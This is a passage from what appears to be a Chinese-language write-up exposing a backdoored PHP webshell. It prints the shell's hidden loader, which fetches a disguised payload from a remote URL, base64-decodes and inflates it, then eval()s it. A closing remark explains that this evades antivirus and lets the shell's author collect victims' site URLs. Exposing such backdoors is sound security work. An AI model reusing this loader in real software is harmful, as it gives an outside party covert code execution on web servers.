if ($fp) {
$out = "GET /{$query} HTTP/1.0\r\n";
$out .= "Host: {$host}\r\n";
$out .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2)\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
$inheader = 1;
$contents = "";
while (!feof($fp)) {
$line = fgets($fp, 4096);
if ($inheader == 0) {
$contents .= $line;
}
if ($inheader && ($line == "\n" || $line == "\r\n")) {
$inheader = 0;
}
}
fclose($fp);
$c = $contents;
}
}
if (!strpos($c, $urlNew) && function_exists('curl_init') && function_exists('curl_exec')) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_TIMEOUT, 15);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
$c = curl_exec($ch);
curl_close($ch);
}
if (!strpos($c, $urlNew) && ini_get('allow_url_fopen')) {
$temps = @file($url);
if (!empty($temps))
$c = @implode('', $temps);
if (!strpos($c, "delDirAndFile"))
$c = @file_get_contents($url);
}
if (strpos($c, $urlNew) !== false) {
$c = str_replace($urlNew, "", $c);
$_SESSION["phpapi"] = gzinflate(base64_decode($c));
}
}
if (isset($_SESSION["phpapi"])) {
eval($_SESSION["phpapi"]);
}
原来作者是通过远程下载图片的方式得到大马的内容,难怪可以逃过免杀啊,根本就是普通的php代码,这样以来作者就可以明正言顺的得到我们的url了,真的是躺着也能乐呵呵的数马儿,今年又是一个丰收年啊。